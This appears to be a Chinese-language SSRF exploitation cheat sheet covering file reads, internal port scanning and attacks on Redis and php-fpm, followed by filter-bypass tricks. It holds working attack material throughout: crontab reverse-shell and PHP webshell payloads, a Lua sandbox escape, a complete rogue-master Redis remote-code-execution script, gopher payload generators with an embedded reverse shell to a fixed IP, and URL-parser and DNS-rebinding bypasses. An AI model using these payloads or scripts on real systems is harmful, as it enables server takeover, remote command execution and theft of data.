简介 SSRF(Server Side Request Forgery, 服务端请求伪造),攻击者以服务器的身份发送包括内网在内的请求。
SSRF 可以:
读取本地文件
内网探测
内网端口扫描
攻击内网应用
操作 Redis
反弹 shell
SSRF 特征:
PHP: file_get_contantes
, fsockopen
, curl_exec
, fopen
, readfile
Python: urllib
, requests
Java: URL
, Request
, HttpURLConnection
, URLConnection
, okhttp
, OkHttpClient
, HttpClients
, Socket
注意: PHP 需要开启 allow_url_fopen。 一般情况下 PHP 不会开启 fopen 的 gopher。 file_get_contents 的 gopher 协议不能 URL 编码。 file_get_contents 关于 gopher 的 302 跳转会出现 bug,导致利用失败。 curl/libcurl 7.43 上 gopher 协议存在 bug(%00 截断) 经测试 7.49 可用。 curl_exec 默认不跟踪跳转。
Payload 常见语言支持协议
PHP: file://
, ftp://
, gopher://
, http://
, https://
, php://
, dict://
, sftp://
, ldap://
, tftp://
Java: file://
, ftp://
, http://
, https://
, jar://
, netdoc://
, mailto://
Python: file://
, gopher://
, http://
, https://
文件读取 file:// 绝对路径
file:///etc/passwd
file://c:/boot.ini
Java 的 file 协议可以列目录
端口扫描 dict://ip: 端口 / 命令: 参数 1: 参数 2…
dict://127.0.0.1:80/
dict://127.0.0.1:22/
dict://127.0.0.1:6379/
读取压缩包内容 Java 特有jar://
协议,可以用来读取 jar 包或 zip 等压缩文件内容。利用 jar 协议也可以绕过协议前缀限制读取压缩文件内容。
jar://http://foo.com/bar.jar!/
读取 jar 包。
jar://http://foo.com/bar.jar!/COM/foo/a.class
读取其中某个资源文件。
jar://http://foo.com/bar.jar!/COM/foo/
读取一个目录。
Redis 未授权访问 Redis 在没有开启protected-mode
并且没有主动绑定 ip 的情况下存在未授权访问漏洞。利用 SSRF 扫描端口 dict://127.0.0.1:6379/info
或者 dict://0.0.0.0:6379/info
查看是否开启 redis 服务。
Redis 常用命令:
info
查看 redis 版本信息
flushall
清空所有数据
config set dir PATH
设置保存备份的目录,绝对路径
config set dbfilename
设置保存备份的文件名
set key value
向 redis 中添加一个键值对
keys
查看所有的键
get key
获取一个键的值
del key
删除一个键值对
save
保存所有数据到 config 设置的备份文件中
通过 dict 或者 gophar 协议发送命令操作 Redis 数据库,例如dict://0.0.0.0:6379/info
,带多个参数的命令例如dict://0.0.0.0:6379/config:set:dir:/etc/
。dict 和 gophar 的区别是:多个命令 dict 需要多次发送,而 gophar 可以一次性发送。
Redis 任意数据访问与修改
清空数据 flushall
删除数据 del key
查看所有的数据的键 keys
查看数据 get key
写入新数据 set key value
任意文件写
写入一个新数据 set x "value"
Redis 设置备份目录 config set dir /dir/name/
Redis 设置备份文件名为 config set dbfilename filename
保存 redis 中所有数据到备份文件中,实现写文件 save
写入 ssh 公钥 写入公钥以后通过 ssh 私钥登录。有 root 权限可以写 root 公钥,无 root 权限需要知道用户目录。
生成 ssh 密钥对 $ ssh-keygen -t rsa
查看公钥 $ cat ~/.ssh/id_rsa.pub
Redis 设置备份目录为 ssh 目录 config set dir /root/.ssh/
Redis 设置备份文件名为 authorized_keys config set dbfilename authorized_keys
(可选)清空 redis 中的已有数据 flushall
写入一个新数据,值为刚才 cat 的 ssh 公钥 set x "\n\n\nssh-rsa AAAAB3...zrrSPrs= root@kali\n\n\n"
保存 redis 中所有数据到备份文件中 save
连接 ssh $ ssh -i ~/.ssh/id_rsa root@ip
反弹 shell 利用 crontab 定时任务执行命令反弹 shell。
(可选)清空数据 flushall
写入一个新数据,值为 crontab 格式的 bash 反弹 shell 命令 set x "\n\n* * * * * root bash -i >& /dev/tcp/ip/port 0>&1\n\n"
Redis 设置备份目录为 etc 目录 config set dir /etc/
Redis 设置备份文件名为 crontab config set dbfilename crontab
保存 redis 中所有数据到备份文件中 save
监听反弹 shell 端口 nc -lvp port
Centos 的定时任务文件在 /var/spool/cron/<username>,Ubuntu 定时任务文件在 /var/spool/cron/crontabs/<username>,二者共有定时任务文件在 /etc/crontab。 注意:Ubuntu 下无法实现 crontab 反弹 shell。Redis 以 root 身份写的文件权限为 644,普通用户则是 664,但 Ubuntu 要求在 /var/spool/cron/crontabs/ 中执行定时任务的文件权限必须是 600,而如果写入 /etc/crontab,由于存在乱码,因此 ubuntu 不能正确执行定时任务;而 CentOS 在 /var/spool/cron/ 中的定时任务文件权限为 644 就能执行
写 webshell
写入一个新数据,值为 webshell set x "<?php eval($_GET['a']);?>"
Redis 设置备份目录为 web 目录 config set dir /var/www/html/
Redis 设置备份文件名为 webshell 的名字 config set dbfilename shell.php
保存 redis 中所有数据到备份文件中 save
执行 Lua Redis 可以直接执行 lua 代码,但是限制在沙箱中,利用 eval "lua 代码 "
执行。
dofile
函数可以执行一个 lua 文件,但是执行失败后也会返回一些信息。
检查文件是否存在或者是否有权限
eval "reutrn dofile('/etc/passwd')"
。
获取文件部分信息。
eval "return dofile('/etc/issue')"
eval "return dofile('/etc/lsb-release')"
eval "return dofile('/etc/hosts')"
eval "dofile('/etc/environment');return(PATH);
eval "dofile('/home/ubuntu/.selected_editor');return(SELECTED_EDITOR);
利用 lua 甚至可以 rce。
注意:适用于以下版本 2.2 <= redis < 5.0.13 2.2 <= redis < 6.0.15 2.2 <= redis < 6.2.5
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("ls -al", "r"); local res = f:read("*a"); f:close(); return res'
注意:不同系统下 liblua5.1.so.0 的路径可能不同
主从复制 主从模式是 Redis 提供的一种分布式模式:使用一台 Redis 服务器作为主机,其他多台 Rediis 服务器作为从机,主机与从机数据相同,但是主机只负责写,从机只负责读,通过 fullresync
命令可以实现主从机之间的数据同步。
通过 info replication
命令可以查看当前 Redis 服务器是主机还是从机。 通过 slaveof <masterip> <masterport>
可以设置当前主机为从机。
在 Reids 4.x 之后,可以通过 Redis 外部拓展 .so
文件,在 Redis 中添加一个新的 Redis 命令,实现代码执行。项目 RedisModules-ExecuteCommand 实现了一个可以执行命令的 Redis 扩展,扩展加载完毕后通过 system.exec command
就可以执行命令,使用 system.rev ip port
就可以把命令执行结果返回到指定地址。
攻击步骤如下,假设目标 Redis 服务器位于 1.1.1.1:6379
,攻击者模拟的 Redis 服务器位于 2.2.2.2:6386
。
首先设置目标服务器,使其认作攻击者服务器为主服务器:slaveof 2.2.2.2 6386
。
设置 dbfilename
为从服务器要保存恶意 .so
文件的文件名:config set dbfilename exp.so
。
这时目标服务器,也就是从服务器会返回 PING
命令确认主机存活,攻击者服务器,也就是主服务器需要返回:+PANG
。
从服务器会接着返回多个以 REPLCONF
开头的命令,类似 REPLCONF ...
来确认服务器信息,主服务器都需要返回:+OK
。
当从服务器返回 PSYNC
或者 SYNC
命令时,代表从服务器请求同步数据,这时主服务器需要返回:+FULLRESYNC ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ 1\r\npayload
,其中 payload
就是恶意 .so
文件的内容。
同步完成后,恶意 .so
的内容就会被保存到从服务器的 exp.so
文件中,命令从服务器读取该模块:module load exp.so
。
然后断开主从链接:slaveof no one
。
最后就可以向从服务器发送恶意 .so
文件中的命令。
上述步骤十分繁琐,而且还需要实现模拟主服务器的程序,已经有人准备好了 exp,需要配合 RedisModules-ExecuteCommand
使用,如下所示。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 import osimport sysimport argparseimport socketserverimport loggingimport socketimport timelogging.basicConfig(stream=sys.stdout, level=logging.INFO, format ='>> %(message)s' ) DELIMITER = b"\r\n" class RoguoHandler (socketserver.BaseRequestHandler): def decode (self, data ): if data.startswith(b'*' ): return data.strip().split(DELIMITER)[2 ::2 ] if data.startswith(b'$' ): return data.split(DELIMITER, 2 )[1 ] return data.strip().split() def handle (self ): while True : data = self.request.recv(1024 ) logging.info("receive data: %r" , data) arr = self.decode(data) if arr[0 ].startswith(b'PING' ): self.request.sendall(b'+PONG' + DELIMITER) elif arr[0 ].startswith(b'REPLCONF' ): self.request.sendall(b'+OK' + DELIMITER) elif arr[0 ].startswith(b'PSYNC' ) or arr[0 ].startswith(b'SYNC' ): self.request.sendall(b'+FULLRESYNC ' + b'Z' * 40 + b' 1' + DELIMITER) self.request.sendall(b'$' + str (len (self.server.payload)).encode() + DELIMITER) self.request.sendall(self.server.payload + DELIMITER) break self.finish() def finish (self ): self.request.close() class RoguoServer (socketserver.TCPServer): allow_reuse_address = True def __init__ (self, server_address, payload ): super (RoguoServer, self).__init__(server_address, RoguoHandler, True ) self.payload = payload class RedisClient (object ): def __init__ (self, rhost, rport ): self.client = socket.create_connection((rhost, rport), timeout=10 ) def send (self, data ): data = self.encode(data) self.client.send(data) logging.info("send data: %r" , data) return self.recv() def recv (self, count=65535 ): data = self.client.recv(count) logging.info("receive data: %r" , data) return data def encode (self, data ): if isinstance (data, bytes ): data = data.split() args = [b'*' , str (len (data)).encode()] for arg in data: args.extend([DELIMITER, b'$' , str (len (arg)).encode(), DELIMITER, arg]) args.append(DELIMITER) return b'' .join(args) def decode_command_line (data ): if not data.startswith(b'$' ): return data.decode(errors='ignore' ) offset = data.find(DELIMITER) size = int (data[1 :offset]) offset += len (DELIMITER) data = data[offset:offset+size] return data.decode(errors='ignore' ) def exploit (rhost, rport, lhost, lport, expfile, command, auth ): with open (expfile, 'rb' ) as f: server = RoguoServer(('0.0.0.0' , lport), f.read()) client = RedisClient(rhost, rport) lhost = lhost.encode() lport = str (lport).encode() command = command.encode() if auth: client.send([b'AUTH' , auth.encode()]) client.send([b'SLAVEOF' , lhost, lport]) client.send([b'CONFIG' , b'SET' , b'dbfilename' , b'exp.so' ]) time.sleep(2 ) server.handle_request() time.sleep(2 ) client.send([b'MODULE' , b'LOAD' , b'./exp.so' ]) client.send([b'SLAVEOF' , b'NO' , b'ONE' ]) client.send([b'CONFIG' , b'SET' , b'dbfilename' , b'dump.rdb' ]) resp = client.send([b'system.exec' , command]) print (decode_command_line(resp)) client.send([b'MODULE' , b'UNLOAD' , b'system' ]) def main (): parser = argparse.ArgumentParser(description='Redis 4.x/5.x RCE with RedisModules' ) parser.add_argument("-r" , "--rhost" , dest="rhost" , type =str , help ="target host" , required=True ) parser.add_argument("-p" , "--rport" , dest="rport" , type =int , help ="target redis port, default 6379" , default=6379 ) parser.add_argument("-L" , "--lhost" , dest="lhost" , type =str , help ="rogue server ip" , required=True ) parser.add_argument("-P" , "--lport" , dest="lport" , type =int , help ="rogue server listen port, default 21000" , default=21000 ) parser.add_argument("-f" , "--file" , type =str , help ="RedisModules to load, default exp.so" , default='exp.so' ) parser.add_argument('-c' , '--command' , type =str , help ='Command that you want to execute' , default='id' ) parser.add_argument("-a" , "--auth" , dest="auth" , type =str , help ="redis password" ) options = parser.parse_args() filename = options.file if not os.path.exists(filename): logging.info("Where you module? " ) sys.exit(1 ) exploit(options.rhost, options.rport, options.lhost, options.lport, filename, options.command, options.auth) if __name__ == '__main__' : main()
Payload 生成 通过 dict 或者 gophar 协议可以发送 redis 命令。
注意:通过 dict 或者 gophar,有些特殊字符无法写入到 redis 中,需要转义。
dict 与 gophar 协议格式生成:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 from urllib import quotefrom binascii import a2b_hexip = '127.0.0.1' port = 6379 cmds = [ ['flushall' ], ['set x' , '\\\\"\\n* * * * * root bash -i >& /dev/tcp/192.168.0.119/9999 0>&1\\n\\\\"' ], ['config set dir' , '/var/www/html/' ], ['config set dbfilename' , 'shell.php' ], ['save' ] ] def dict_ (cmd ): v = None if len (cmd) == 1 else cmd[1 ] cmd = ':' .join(cmd[0 ].split()) if v: cmd += ':' + v return a2b_hex('' .join(hex (ord (c))[2 :] for c in cmd)) def gophar (cmd ): v = None if len (cmd) == 1 else cmd[1 ] cmd = cmd[0 ].split() if v: cmd.append(v) result = '*%d\r\n' % len (cmd) for c in cmd: result += '$%d\r\n%s\r\n' % (len (c), c) return result for cmd in cmds: print ('dict://%s:%d/%s' % (ip, port, quote(dict_(cmd), 'utf-8' ))) print ('' )print ( 'gopher://%s:%d/_%s' % ( ip, port, quote('' .join((gophar(cmd) for cmd in cmds)), 'utf-8' ) ) )
伪造 POST 利用 gophar 协议可以发送 POST 请求。
注意:修改 Content-Length 以及 data 的 url 编码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from urllib import quoteip = '127.0.0.1' port = 80 path = '/index.php' headers = [ 'User-Agent: curl/7.43.0' , 'Accept: */*' , 'Content-Type: application/x-www-form-urlencoded' , 'Content-Length: 0' ] data = '' print ('gopher://%s:%d/_%s' % (ip, port, quote('POST %s HTTP/1.1\r\nHost: %s\r\n%s\r\n\r\n%s' % (path, ip, '\r\n' .join(headers), data))))
实际上,gophar 协议可以发送任何 TCP 数据包。
攻击 FPM 大部分情况下 fpm 运行在内网 9000 端口,dict://127.0.0.1:9000/
。利用 SSRF 的攻击脚本如下,例如python fpm_ssrf.py -c '<?php system("id");exit;?>' -p 9000 127.0.0.1 /usr/local/lib/php/PEAR.php
,注意需要的值一个在服务器中绝对路径的 php 文件,返回 gophar 协议编码的 paylaod。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 import socketimport base64import randomimport argparseimport sysfrom io import BytesIOimport urllibPY2 = True if sys.version_info.major == 2 else False def bchr (i ): if PY2: return force_bytes(chr (i)) else : return bytes ([i]) def bord (c ): if isinstance (c, int ): return c else : return ord (c) def force_bytes (s ): if isinstance (s, bytes ): return s else : return s.encode('utf-8' , 'strict' ) def force_text (s ): if issubclass (type (s), str ): return s if isinstance (s, bytes ): s = str (s, 'utf-8' , 'strict' ) else : s = str (s) return s class FastCGIClient : """A Fast-CGI Client for Python""" __FCGI_VERSION = 1 __FCGI_ROLE_RESPONDER = 1 __FCGI_ROLE_AUTHORIZER = 2 __FCGI_ROLE_FILTER = 3 __FCGI_TYPE_BEGIN = 1 __FCGI_TYPE_ABORT = 2 __FCGI_TYPE_END = 3 __FCGI_TYPE_PARAMS = 4 __FCGI_TYPE_STDIN = 5 __FCGI_TYPE_STDOUT = 6 __FCGI_TYPE_STDERR = 7 __FCGI_TYPE_DATA = 8 __FCGI_TYPE_GETVALUES = 9 __FCGI_TYPE_GETVALUES_RESULT = 10 __FCGI_TYPE_UNKOWNTYPE = 11 __FCGI_HEADER_SIZE = 8 FCGI_STATE_SEND = 1 FCGI_STATE_ERROR = 2 FCGI_STATE_SUCCESS = 3 def __init__ (self, host, port, timeout, keepalive ): self.host = host self.port = port self.timeout = timeout if keepalive: self.keepalive = 1 else : self.keepalive = 0 self.sock = None self.requests = dict () def __connect (self ): self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.settimeout(self.timeout) self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 ) try : self.sock.connect((self.host, int (self.port))) except socket.error as msg: self.sock.close() self.sock = None print (repr (msg)) return False return True def __encodeFastCGIRecord (self, fcgi_type, content, requestid ): length = len (content) buf = bchr(FastCGIClient.__FCGI_VERSION) \ + bchr(fcgi_type) \ + bchr((requestid >> 8 ) & 0xFF ) \ + bchr(requestid & 0xFF ) \ + bchr((length >> 8 ) & 0xFF ) \ + bchr(length & 0xFF ) \ + bchr(0 ) \ + bchr(0 ) \ + content return buf def __encodeNameValueParams (self, name, value ): nLen = len (name) vLen = len (value) record = b'' if nLen < 128 : record += bchr(nLen) else : record += bchr((nLen >> 24 ) | 0x80 ) \ + bchr((nLen >> 16 ) & 0xFF ) \ + bchr((nLen >> 8 ) & 0xFF ) \ + bchr(nLen & 0xFF ) if vLen < 128 : record += bchr(vLen) else : record += bchr((vLen >> 24 ) | 0x80 ) \ + bchr((vLen >> 16 ) & 0xFF ) \ + bchr((vLen >> 8 ) & 0xFF ) \ + bchr(vLen & 0xFF ) return record + name + value def __decodeFastCGIHeader (self, stream ): header = dict () header['version' ] = bord(stream[0 ]) header['type' ] = bord(stream[1 ]) header['requestId' ] = (bord(stream[2 ]) << 8 ) + bord(stream[3 ]) header['contentLength' ] = (bord(stream[4 ]) << 8 ) + bord(stream[5 ]) header['paddingLength' ] = bord(stream[6 ]) header['reserved' ] = bord(stream[7 ]) return header def __decodeFastCGIRecord (self, buffer ): header = buffer.read(int (self.__FCGI_HEADER_SIZE)) if not header: return False else : record = self.__decodeFastCGIHeader(header) record['content' ] = b'' if 'contentLength' in record.keys(): contentLength = int (record['contentLength' ]) record['content' ] += buffer.read(contentLength) if 'paddingLength' in record.keys(): skiped = buffer.read(int (record['paddingLength' ])) return record def request (self, nameValuePairs={}, post='' ): requestId = random.randint(1 , (1 << 16 ) - 1 ) self.requests[requestId] = dict () request = b"" beginFCGIRecordContent = bchr(0 ) \ + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \ + bchr(self.keepalive) \ + bchr(0 ) * 5 request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN, beginFCGIRecordContent, requestId) paramsRecord = b'' if nameValuePairs: for (name, value) in nameValuePairs.items(): name = force_bytes(name) value = force_bytes(value) paramsRecord += self.__encodeNameValueParams(name, value) if paramsRecord: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'' , requestId) if post: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'' , requestId) return request def __waitForResponse (self, requestId ): data = b'' while True : buf = self.sock.recv(512 ) if not len (buf): break data += buf data = BytesIO(data) while True : response = self.__decodeFastCGIRecord(data) if not response: break if response['type' ] == FastCGIClient.__FCGI_TYPE_STDOUT \ or response['type' ] == FastCGIClient.__FCGI_TYPE_STDERR: if response['type' ] == FastCGIClient.__FCGI_TYPE_STDERR: self.requests['state' ] = FastCGIClient.FCGI_STATE_ERROR if requestId == int (response['requestId' ]): self.requests[requestId]['response' ] += response['content' ] if response['type' ] == FastCGIClient.FCGI_STATE_SUCCESS: self.requests[requestId] return self.requests[requestId]['response' ] def __repr__ (self ): return "fastcgi connect host:{} port:{}" .format (self.host, self.port) if __name__ == '__main__' : parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.' ) parser.add_argument('host' , help ='Target host, such as 127.0.0.1' ) parser.add_argument('file' , help ='A php file absolute path, such as /usr/local/lib/php/System.php' ) parser.add_argument('-c' , '--code' , help ='What php code your want to execute' , default='<?php phpinfo(); exit; ?>' ) parser.add_argument('-p' , '--port' , help ='FastCGI port' , default=9000 , type =int ) args = parser.parse_args() client = FastCGIClient(args.host, args.port, 3 , 0 ) params = dict () documentRoot = "/" uri = args.file content = args.code params = { 'GATEWAY_INTERFACE' : 'FastCGI/1.0' , 'REQUEST_METHOD' : 'POST' , 'SCRIPT_FILENAME' : documentRoot + uri.lstrip('/' ), 'SCRIPT_NAME' : uri, 'QUERY_STRING' : '' , 'REQUEST_URI' : uri, 'DOCUMENT_ROOT' : documentRoot, 'SERVER_SOFTWARE' : 'php/fcgiclient' , 'REMOTE_ADDR' : '127.0.0.1' , 'REMOTE_PORT' : '9985' , 'SERVER_ADDR' : '127.0.0.1' , 'SERVER_PORT' : '80' , 'SERVER_NAME' : "localhost" , 'SERVER_PROTOCOL' : 'HTTP/1.1' , 'CONTENT_TYPE' : 'application/text' , 'CONTENT_LENGTH' : "%d" % len (content), 'PHP_VALUE' : 'auto_prepend_file = php://input' , 'PHP_ADMIN_VALUE' : 'allow_url_include = On' } response = client.request(params, content) response = urllib.quote(response) print ("gopher://127.0.0.1:" + str (args.port) + "/_" + response)
其他 Payload
在 PHP 的 SSRF 中,同样支持 PHP 伪协议。
绕过 本机 IP 可以用 0.0.0.0
,localhost
或者 127.x.x.x
替代127.0.0.1
。
IP 地址中间的 0
可以被省略,例如 127.1
等价于 127.0.0.1
。而http://0.0.0.0/
可以被省略为http://0/
。
等价 IP 特殊域名 xip.io
提供了 IP 解析,例如可以用 192.168.0.1.xip.io
或者 a.b.c.192.168.0.1.xip.io
等价于192.168.0.1
。此外,可以利用在线短地址服务,利用短地址指向被限制的 IP。
IP 地址其实就是一串数字,可以进行进制转换。例如:127.0.0.1
,等价于十六进制0x7F000001
,等价于十进制2130706433
,等价于二进制0b1111111000000000000000000000001
。
也可以只转换部分 IP,例如:127.0.0.1
,等价于0177.0.0.1
,等价于0x7f.0.0.1
。也可以混合编码,例如八进制和十六进制混合0177.0x0.0x0.0x1
。
注意:进制转换后的 IP,Apache 服务器会报 400,而 Nginx,Mysql 等服务可以正常识别。
IP 地址转换脚本,可以打印出所有的等价 IP 地址,包括十进制,八进制,十六进制,二进制。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 ip = '127.0.0.1' def marge (l ): result = '' for i in l: result += hex (i)[2 :].rjust(2 , '0' ) result = int (result, 16 ) return [str (i) for i in [result, hex (result), oct (result), bin (result)]] def cross (*args ): if len (args) == 1 : for ip in args[0 ]: if ip not in iplist: iplist.append(ip) elif len (args) == 2 : for i in args[0 ]: for j in args[1 ]: ip = '%s.%s' % (i, j) if ip not in iplist: iplist.append(ip) elif len (args) == 3 : for i in args[0 ]: for j in args[1 ]: for k in args[2 ]: ip = '%s.%s.%s' % (i, j, k) if ip not in iplist: iplist.append(ip) elif len (args) == 4 : for i in args[0 ]: for j in args[1 ]: for k in args[2 ]: for l in args[3 ]: ip = '%s.%s.%s.%s' % (i, j, k, l) if ip not in iplist: iplist.append(ip) iplist = [ip] raw_ip = [int (i) for i in ip.split('.' )] cross(marge(raw_ip)) cross(marge(raw_ip[:1 ]), marge(raw_ip[1 :])) cross(marge(raw_ip[:3 ]), marge(raw_ip[3 :])) cross(marge(raw_ip[:2 ]), marge(raw_ip[2 :3 ]), marge(raw_ip[3 :])) cross(marge(raw_ip[:1 ]), marge(raw_ip[1 :3 ]), marge(raw_ip[3 :])) cross(marge(raw_ip[:1 ]), marge(raw_ip[1 :2 ]), marge(raw_ip[2 :])) cross(marge(raw_ip[:1 ]), marge(raw_ip[1 :2 ]), marge(raw_ip[2 :3 ]), marge(raw_ip[3 :])) for ip in iplist: print (ip)
前缀限制 必须以指定域名开头^http://www.baidu.com.*
利用 url 中可选的用户名和密码部分,域名或 ip 地址前的 @
表示访问到该 url 需要输入的用户名和密码,其中 :
前为用户名,后为密码,例如 http://username:password@example.com/
。则http://www.baidu.com@127.0.0.1
或者 http://www.baidu.com:xxxx@127.0.0.1
等价于http://127.0.0.1
。
可以利用 xip.io
绕过前缀限制,例如http://www.baidu.com.127.0.0.1.xip.io/
后缀限制 必须以指定域名结尾.*baidu.com$
可以尝试利用如下 payload 绕过。
http://127.0.0.1/index.php#www.baidu.com
http://127.0.0.1/index.php?baidu.com
畸形 url 例如 urlhttp://1.1.1.1 &@2.2.2.2# @3.3.3.3/
(注意其中包含了 2 个空格),在 Python 中,urllib2 和 httplib 会解析出1.1.1.1
,requests 会解析出2.2.2.2
,urllib 会解析处3.3.3.3
。
例如 urlhttp://127.0.0.1:12345:80/
,PHP 的 parse_url
和 Perl 的 URI
会解析出 80 端口,而 PHP 的 readfile
和 Perl 的 LWP
会解析出 12345 端口。
例如 urlhttp://127.0.0.1#@evil.com/
,PHP 的 readfile
会解析出 evil.com
,PHP 的parse_url
会解析出127.0.0.1
。
例如 urlhttp://foo@127.0.0.1:80@evil.com/
,curl/libcurl 会解析出 127.0.0.1:80
,NodeJS 的URL
,Perl 的URI
,Go 的net/url
,PHP 的parse_url
,Ruby 的addressable
会解析出evil.com
。
注意:上条 payload 中 curl 7.54.0 之前已经修复,但是可以通过 http://foo@127.0.0.1 @evil.com/
绕过。注意 @
之前有一个空格。
curl 或者 wget 可尝试下列 payload,都会解析出http://127.0.0.1/
。
http://127.0.0.1;baidu.com/
0://127.0.0.1;baidu.com/
0://127.0.0.1:80;baidu.com:80/
0://127.0.0.1:80=baidu.com:80
0://abc@127.0.0.1:80@baidu.com
注意:也可以使用逗号 ,
代替分号;
。
利用空 bash 变量 $
绕过,需要将 url 带入 bash 中,例如 http://127.0.0$foo.1
中,$foo
变量不存在,默认为空字符串,等价于http://127.0.0.1
。
特殊符号 过滤了 .
符号,某些情况可以用中文句号 。
代替(例如 Chrome)。
在某些情况下(例如 curl)支持国际化特殊符号(IDNA),它们与对应的数字 / 字母等价。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
例如 ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ
等价于example.com
。
除了上述 IDNA 字符以外,利用一些 unicode 字符解析不兼容性也可以绕过,例如 ß
在某些情况下等价于 ss
,此外,一些 unciode 字符也会被忽略,例如g\u200Doogle.com
等价于 google.com
,其中\u200D
被忽略。
DNS 重绑定 服务器向 DNS 服务器请求解析两次域名,在 DNS 服务器可控的情况下利用两次解析之间的时间差绕过 IP 地址限制。
客户端(攻击者)向服务器发送正常域名http://example.com
。
服务器拿到域名后做 DNS 解析,例如验证该域名是否为内网 IP,DNS 服务器第一次返回了一个非内网 IP 地址 A。
该域名在服务器端通过验证,域名被继续传递给可以 SSRF 的函数,例如url_open
,这时又会发生第二次 DNS 解析。
在第二次 DNS 解析发生之前,在 DNS 服务器中修改该域名的 IP 为内网 IP,并且设置 TTL 为 0。
服务端再次向 DNS 服务器发送解析请求,而这时 DNS 服务器中该域名的 IP 已经被修改为内网 IP,并且该域名的 TTL 被修改为 0,即 DNS 服务器会直接新修改的 IP 而不是之前的缓存。
服务器收到内网 IP 地址 B,成功绕过。
重定向 若可以访问外网但无法直接访问内网,在支持跳转的情况下,可以利用外网作为 302 跳板绕过协议限制。
1 2 header ("location: http://127.0.0.1" );header ("location: file:///etc/passwd" );
IPv6 在服务器支持 IPv6 的情况下可用。
::1
等价于 IPv4 的 127.0.0.1
。ip6-localhost
等价于 IPv4 的localhost
。
IPv6 也提供了特殊域名解析 ip6.name
,例如x.1.ip6.name
等价于 IPv4127.0.0.1.xip.io
。
IPv6 也可以省略 IP 地址中间的 0,例如 http://[::]/
等价于 http://0.0.0.0/
,或者http://[0000::1]/
等价于http://127.0.0.1/
。
以下 IPv6 地址均可访问本机:
::127.0.0.1
::ffff:127.0.0.1
::1%1
Glibc 解析 在 glibc 函数 gethostbyname
中,存在部分解析问题。
支持字符转义,例如 b\\097idu.com
等价于 baidu.com
,其中\097
为十进制的a
。
